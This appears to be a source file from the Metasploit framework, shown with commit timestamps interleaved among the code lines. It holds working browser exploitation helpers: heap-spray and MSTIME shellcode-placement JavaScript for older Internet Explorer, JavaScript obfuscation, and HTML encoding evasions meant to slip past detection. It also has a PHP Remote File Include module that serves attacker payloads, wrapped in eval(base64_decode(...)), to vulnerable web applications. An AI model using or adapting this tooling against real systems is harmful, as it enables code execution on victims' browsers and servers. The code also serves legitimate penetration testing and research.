input = input . replace ( / [^A-Za-z0-9 \\ + \\ / \ \ = ] / g , " " ) ;
2008-07-22 07:28:05 +00:00
while ( i < input . length ) {
enc1 = this . _keyStr . indexOf ( input . charAt ( i + + ) ) ;
enc2 = this . _keyStr . indexOf ( input . charAt ( i + + ) ) ;
enc3 = this . _keyStr . indexOf ( input . charAt ( i + + ) ) ;
enc4 = this . _keyStr . indexOf ( input . charAt ( i + + ) ) ;
chr1 = ( enc1 << 2 ) | ( enc2 >> 4 ) ;
chr2 = ( ( enc2 & 15 ) << 4 ) | ( enc3 >> 2 ) ;
chr3 = ( ( enc3 & 3 ) << 6 ) | enc4 ;
output = output + String . fromCharCode ( chr1 ) ;
if ( enc3 != 64 ) {
output = output + String . fromCharCode ( chr2 ) ;
}
if ( enc4 != 64 ) {
output = output + String . fromCharCode ( chr3 ) ;
}
}
output = Base64 . _utf8_decode ( output ) ;
return output ;
} ,
_utf8_decode : function ( utftext ) {
var string = " " ;
var input_idx = 0 ;
var chr1 = 0 ;
var chr2 = 0 ;
var chr3 = 0 ;
while ( input_idx < utftext . length ) {
chr1 = utftext . charCodeAt ( input_idx ) ;
if ( chr1 < 128 ) {
string += String . fromCharCode ( chr1 ) ;
input_idx + + ;
}
else if ( ( chr1 > 191 ) && ( chr1 < 224 ) ) {
chr2 = utftext . charCodeAt ( input_idx + 1 ) ;
string += String . fromCharCode ( ( ( chr1 & 31 ) << 6 ) | ( chr2 & 63 ) ) ;
input_idx += 2 ;
} else {
chr2 = utftext . charCodeAt ( input_idx + 1 ) ;
chr3 = utftext . charCodeAt ( input_idx + 2 ) ;
string += String . fromCharCode ( ( ( chr1 & 15 ) << 12 ) | ( ( chr2 & 63 ) << 6 ) | ( chr3 & 63 ) ) ;
input_idx += 3 ;
}
}
return string ;
}
} ;
ENDJS
2009-11-03 18:09:05 +00:00
opts = {
'Symbols' = > {
2010-03-02 02:26:08 +00:00
'Variables' = > %w{ Base64 encoding result _keyStr encoded_data utftext input_idx
input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 } ,
'Methods' = > %w{ _utf8_encode _utf8_decode encode decode }
2008-07-22 07:28:05 +00:00
}
}
js = :: Rex :: Exploitation :: ObfuscateJS . new ( js , opts )
return js
end
2013-04-24 17:36:45 -05:00
#
# Downloads data using ajax
#
2013-04-25 15:19:44 -05:00
# Supported arguments:
2013-04-24 17:36:45 -05:00
# method => Optional. HTTP Verb (eg. GET/POST)
# path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you
# must use a relative path, otherwise you will be blocked by the browser.
# data => Optional. Data to pass to the server
#
# Example of using the ajax_download() function:
# For IE, your web server has to return this header to download binary data:
# "text/plain; charset=x-user-defined"
2013-04-25 15:19:44 -05:00
# <script>
2013-04-25 19:13:16 -05:00
# #{js_ajax_download}
2013-04-24 17:36:45 -05:00
#
2013-04-25 15:19:44 -05:00
# ajax_download({path:"/test.bin"});
# </script>
2013-04-24 17:36:45 -05:00
#
2013-04-25 15:19:44 -05:00
def js_ajax_download
2013-04-24 17:36:45 -05:00
%Q|function ajax_download(oArg) {
method = oArg.method;
path = oArg.path;
data = oArg.data;
if (method == undefined) { method = "GET"; }
if (method == path) { throw "Missing parameter 'path'"; }
if (data == undefined) { data = null; }
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
}
else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
if (xmlHttp.overrideMimeType) {
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
}
xmlHttp.open(method, path, false);
xmlHttp.send(data);
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
return xmlHttp.responseText;
}
return null;
}
|
end
2013-04-30 16:40:10 -05:00
#
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
# suitable for a no-spray technique. There should be an allocation that contains an array of
# pointers to strings that we control, and each string should reside in its own buffer.
# Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
# Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific
# writing style, so make sure you have the following before using:
# * You must have the following at the beginning of your HTML file:
# <!doctype html>
# <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
# * You must have the following in <meta>:
# <meta>
# <?IMPORT namespace="t" implementation="#default#time2">
# </meta>
#
# The "mstime_malloc" JavaScript function supports the following arguments:
# shellcode => The shellcode to place.
# offset => Optional. The pointer index that points to the shellcode.
# heapBlockSize => Object size.
# objId => The ID to your ANIMATECOLOR element.
#
# Example of using "js_mstime_malloc":
# <script>
# #{js_mstime_malloc}
#
2013-04-30 17:11:19 -05:00
# shellcode = unescape("%u4141%u4141%u4141%u4141%u4141");
2013-04-30 16:40:10 -05:00
# offset = 3;
# s = 0x58;
# mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
# </script>
#
def js_mstime_malloc
%Q|
function mstime_malloc(oArg) {
shellcode = oArg.shellcode;
offset = oArg.offset;
heapBlockSize = oArg.heapBlockSize;
objId = oArg.objId;
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
if (offset == undefined) { offset = 0; }
if (heapBlockSize == undefined) { throw "Size must be defined"; }
buf = "";
for (i=0; i < heapBlockSize/4; i++) {
if (i == offset) {
if (i == 0) { buf += shellcode; }
else { buf += ";" + shellcode; }
}
else {
2013-05-01 13:41:36 -05:00
buf += ";##{Rex::Text.rand_text_hex(6)}";
2013-04-30 16:40:10 -05:00
}
}
2013-05-01 13:41:36 -05:00
e = document.getElementById(objId);
2013-05-01 14:21:52 -05:00
if (e == null) {
eleId = "#{Rex::Text.rand_text_alpha(5)}"
acTag = "<t:ANIMATECOLOR id='"+ eleId + "'/>"
document.body.innerHTML = document.body.innerHTML + acTag;
e = document.getElementById(eleId);
}
2013-05-01 13:41:36 -05:00
try { e.values = buf; }
catch (e) {}
2013-04-30 16:40:10 -05:00
}
|
end
2013-02-22 10:21:20 -06:00
#
# This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
# function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's
2013-02-27 14:32:39 -06:00
# publication on "DEPS – Precise Heap Spray on Firefox and IE10".
#
2013-02-27 15:34:21 -06:00
# The "sprayHeap" JavaScript function supports the following arguments:
2013-03-22 13:18:32 -05:00
# shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes.
2013-02-28 11:01:15 -06:00
# objId => Optional. The ID for a <div> HTML tag.
2013-04-12 20:21:10 -05:00
# offset => Optional. Number of bytes to align the shellcode, default: 0x00
2013-02-28 11:05:18 -06:00
# heapBlockSize => Optional. Allocation size, default: 0x80000
# maxAllocs => Optional. Number of allocation calls, default: 0x350
2013-02-27 15:34:21 -06:00
#
# Example of using the 'sprayHeap' function:
# <script>
# #{spray}
#
# var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
2013-02-28 11:34:48 -06:00
# sprayHeap({shellcode:s, heapBlockSize:0x80000});
2013-02-27 15:34:21 -06:00
# </script>
2013-02-22 10:21:20 -06:00
#
def js_property_spray
2013-03-22 13:16:14 -05:00
sym_div_container = Rex :: Text . rand_text_alpha ( rand ( 10 ) + 5 )
2013-02-28 11:01:15 -06:00
js = %Q|
2013-03-22 13:16:14 -05:00
var #{sym_div_container};
2013-02-28 11:01:15 -06:00
function sprayHeap( oArg ) {
2013-02-27 14:08:57 -06:00
2013-02-27 15:34:21 -06:00
shellcode = oArg.shellcode;
offset = oArg.offset;
2013-02-27 14:08:57 -06:00
heapBlockSize = oArg.heapBlockSize;
2013-02-27 15:34:21 -06:00
maxAllocs = oArg.maxAllocs;
objId = oArg.objId;
2013-02-27 14:08:57 -06:00
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
2013-04-12 20:19:47 -05:00
if (offset == undefined) { offset = 0x00; }
2013-02-28 10:35:40 -06:00
if (heapBlockSize == undefined) { heapBlockSize = 0x80000; }
if (maxAllocs == undefined) { maxAllocs = 0x350; }
2013-02-22 10:21:20 -06:00
2013-02-27 15:34:21 -06:00
if (offset > 0x800) { throw "Bad alignment"; }
2013-03-22 13:16:14 -05:00
#{sym_div_container} = document.getElementById(objId);
2013-02-28 11:01:15 -06:00
2013-03-22 13:16:14 -05:00
if (#{sym_div_container} == null) {
#{sym_div_container} = document.createElement("div");
2013-02-28 11:01:15 -06:00
}
2013-03-22 13:16:14 -05:00
#{sym_div_container}.style.cssText = "display:none";
2013-02-22 10:21:20 -06:00
var data;
junk = unescape("%u2020%u2020");
2013-02-27 15:34:21 -06:00
while (junk.length < offset+0x1000) junk += junk;
2013-02-22 10:21:20 -06:00
data = junk.substring(0,offset) + shellcode;
data += junk.substring(0,0x800-offset-shellcode.length);
2013-02-27 15:34:21 -06:00
while (data.length < heapBlockSize) data += data;
2013-02-22 10:21:20 -06:00
for (var i = 0; i < maxAllocs; i++)
{
var obj = document.createElement("button");
2013-02-28 11:21:23 -06:00
obj.title = data.substring(0, (heapBlockSize-2)/2);
2013-03-22 13:16:14 -05:00
#{sym_div_container}.appendChild(obj);
2013-02-22 10:21:20 -06:00
}
}
|
end
2009-01-10 05:48:19 +00:00
def js_heap_spray
2010-03-02 02:26:08 +00:00
js = %Q|var memory = new Array();
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
2010-09-26 21:02:00 +00:00
var index;
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
for (index = 0; index < heapBlockCnt; index++) {
memory[index] = retSlide + shellcode;
}
2010-03-02 02:26:08 +00:00
}
|
2009-01-10 05:48:19 +00:00
opts = {
'Symbols' = > {
2010-03-02 02:26:08 +00:00
'Variables' = > %w{ shellcode retSlide payLoadSize memory index
heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize
heapBlockCnt } ,
'Methods' = > %w{ sprayHeap }
2009-01-10 05:48:19 +00:00
}
}
js = :: Rex :: Exploitation :: ObfuscateJS . new ( js , opts )
return js
end
2008-07-22 07:28:05 +00:00
def js_os_detect
return :: Rex :: Exploitation :: JavascriptOSDetect . new
end
2009-03-08 23:05:26 +00:00
# Transmits a html response to the supplied client
#
# HTML evasions are implemented here.
def send_response_html ( cli , body , headers = { } )
2010-10-12 16:29:35 +00:00
body = body . to_s . unpack ( " C* " ) . pack ( " C* " )
2006-02-10 15:45:37 +00:00
if datastore [ 'HTML::base64' ] != 'none'
case datastore [ 'HTML::base64' ]
when 'plain'
body = Rex :: Text . encode_base64 ( body )
when 'single_pad'
body = Rex :: Text . encode_base64 ( ' ' + body )
when 'double_pad'
body = Rex :: Text . encode_base64 ( ' ' + body )
when 'random_space_injection'
body = Rex :: Text . encode_base64 ( body )
new = ''
while ( body . size > 0 )
2009-10-16 18:27:18 +00:00
new << body . slice! ( 0 , rand ( 3 ) + 1 ) + Rex :: Text . rand_text ( rand ( 5 ) + 1 , '' , " \n " )
2006-02-10 15:45:37 +00:00
end
body = new
end
2006-01-27 22:02:35 +00:00
2006-02-10 15:45:37 +00:00
body = '<HTML><BODY><OBJECT ID="' + Rex :: Text . rand_text_alpha ( rand ( 10 ) + 5 ) + '" ' +
'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
body + '">Could not render object</OBJECT></BODY></HTML>'
2006-01-27 22:02:35 +00:00
end
if datastore [ 'HTML::javascript::escape' ] > 0
datastore [ 'HTML::javascript::escape' ] . times {
body = '<script>document.write(unescape("' + Rex :: Text . to_hex ( body , '%' ) + '"))</script>'
}
end
2009-11-03 18:09:05 +00:00
2006-02-19 03:58:18 +00:00
if [ 'utf-16le' , 'utf-16be' , 'utf32-le' , 'utf32-be' , 'utf-7' , 'utf-8' ] . include? ( datastore [ 'HTML::unicode' ] )
2010-10-25 14:57:30 +00:00
headers [ 'Content-Type' ] = 'text/html; charset= ' + datastore [ 'HTML::unicode' ]
2006-02-19 03:58:18 +00:00
body = Rex :: Text . to_unicode ( body , datastore [ 'HTML::unicode' ] )
else
# special cases
case datastore [ 'HTML::unicode' ]
when 'utf-16be-marker'
headers [ 'Content-Type' ] = 'text/html'
body = " \xFE \xFF " + Rex :: Text . to_unicode ( body , 'utf-16be' )
when 'utf-7-all'
2010-10-25 14:57:30 +00:00
headers [ 'Content-Type' ] = 'text/html; charset=utf-7'
2006-02-19 03:58:18 +00:00
body = Rex :: Text . to_unicode ( body , 'utf-7' , 'all' )
when 'none'
# do nothing
else
raise RuntimeError , 'Invalid unicode. how did you get here?'
end
2006-01-27 22:02:35 +00:00
end
2009-11-03 18:09:05 +00:00
2006-12-17 02:34:27 +00:00
send_response ( cli , body , headers )
2006-01-27 22:02:35 +00:00
end
end
2006-12-17 07:57:51 +00:00
###
#
2009-03-08 23:02:53 +00:00
# This module provides methods for exploiting PHP scripts by acting as an HTTP
# server hosting the payload for Remote File Include vulnerabilities.
2006-12-17 07:57:51 +00:00
#
###
module Exploit::Remote::HttpServer::PHPInclude
include Msf :: Exploit :: Remote :: HttpServer
def initialize ( info = { } )
2009-11-03 18:09:05 +00:00
2006-12-17 07:57:51 +00:00
# Override TCPServer's stance of passive
2009-11-03 18:09:05 +00:00
super ( update_info ( info , 'Stance' = > Msf :: Exploit :: Stance :: Aggressive ) )
2009-03-08 23:05:26 +00:00
register_evasion_options (
[
2006-12-17 07:57:51 +00:00
OptEnum . new ( 'PHP::Encode' , [ false , 'Enable PHP code obfuscation' , 'none' , [ 'none' , 'base64' ] ] ) ,
2009-03-08 23:05:26 +00:00
] , Exploit :: Remote :: HttpServer :: PHPInclude
)
2006-12-17 07:57:51 +00:00
end
2009-11-03 18:09:05 +00:00
2010-06-16 21:16:15 +00:00
# Since these types of vulns are Stance::Aggressive, override HttpServer's
# normal non-automatic behaviour and allow things to run us automatically
def autofilter
true
end
2012-04-11 00:12:35 -06:00
##
# :category: Exploit::Remote::TcpServer overrides
2009-03-08 23:05:26 +00:00
#
2006-12-17 07:57:51 +00:00
# Override exploit() to handle service start/stop
#
2011-01-21 23:19:11 +00:00
# Disables SSL for the service since we always want to serve our evil PHP
# files from a non-ssl server. There are two reasons for this:
2012-04-11 00:12:35 -06:00
# 1. https is only supported on PHP versions after 4.3.0 and only if
2011-01-21 23:19:11 +00:00
# the OpenSSL extension is compiled in, a non-default configuration on
# most systems
2012-04-11 00:12:35 -06:00
# 2. somewhat less importantly, the SSL option would conflict with the
2011-01-21 23:19:11 +00:00
# option for our client connecting to the vulnerable server
#
2009-03-08 23:02:53 +00:00
def exploit
2011-01-21 23:19:11 +00:00
old_ssl = datastore [ " SSL " ]
datastore [ " SSL " ] = false
2006-12-17 07:57:51 +00:00
start_service
2011-01-21 23:19:11 +00:00
datastore [ " SSL " ] = old_ssl
2011-06-28 21:26:43 +00:00
2011-01-21 23:19:11 +00:00
#if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr))
# print_error("Warning: the URL used for the include might be wrong!")
# print_error("If the target system can route to #{srvhost_addr} it")
# print_error("is safe to ignore this warning. If not, try using a")
# print_error("reverse payload instead of bind.")
#end
2010-09-21 02:52:49 +00:00
begin
print_status ( " PHP include server started. " ) ;
php_exploit
:: IO . select ( nil , nil , nil , 5 )
rescue :: Interrupt
raise $!
ensure
stop_service
end
2006-12-17 07:57:51 +00:00
end
2009-03-08 23:02:53 +00:00
2006-12-17 07:57:51 +00:00
#
2009-03-08 23:02:53 +00:00
# Transmits a PHP payload to the web application
#
def send_php_payload ( cli , body , headers = { } )
2006-12-17 07:57:51 +00:00
case datastore [ 'PHP::Encode' ]
when 'base64'
body = " <?php eval(base64_decode(' #{ Rex :: Text . encode_base64 ( body ) } '));?> "
when 'none'
2007-01-05 03:31:18 +00:00
body = " <?php #{ body } ?> "
2006-12-17 07:57:51 +00:00
end
2009-11-03 18:09:05 +00:00
2006-12-17 07:57:51 +00:00
send_response ( cli , body , headers )
end
2012-04-11 00:12:35 -06:00
##
# :category: Event Handlers
2006-12-17 07:57:51 +00:00
#
# Handle an incoming PHP code request
#
def on_request_uri ( cli , request , headers = { } )
# Re-generate the payload
return if ( ( p = regenerate_payload ( cli ) ) == nil )
2009-11-03 18:09:05 +00:00
2006-12-17 07:57:51 +00:00
# Send it to the application
send_php_payload ( cli , p . encoded , headers )
end
2009-11-03 18:09:05 +00:00
2006-12-17 07:57:51 +00:00
#
2013-04-29 13:33:20 -05:00
# The PHP include URL (pre-encoded)
2006-12-17 07:57:51 +00:00
#
2013-04-29 13:33:20 -05:00
# Does not take SSL into account. For the reasoning behind this, see
# {#exploit}.
2011-01-21 23:19:11 +00:00
#
2013-04-29 13:33:20 -05:00
# @return [String] The URL to be used as the argument in a call to
# +require+, +require_once+, or +include+ or +include_once+ in a
# vulnerable PHP app.
2007-07-03 04:26:28 +00:00
def php_include_url ( sock = nil )
2012-01-31 01:44:03 -06:00
host = srvhost_addr
2012-01-31 01:49:42 -06:00
if Rex :: Socket . is_ipv6? ( host )
2012-01-31 01:44:03 -06:00
host = " [ #{ host } ] "
end
" http:// #{ host } : #{ datastore [ 'SRVPORT' ] } #{ get_resource ( ) } ? "
2006-12-17 07:57:51 +00:00
end
2009-11-03 18:09:05 +00:00
2006-12-17 07:57:51 +00:00
end
2008-11-18 15:13:27 +00:00
end
2010-07-14 17:06:44 +00:00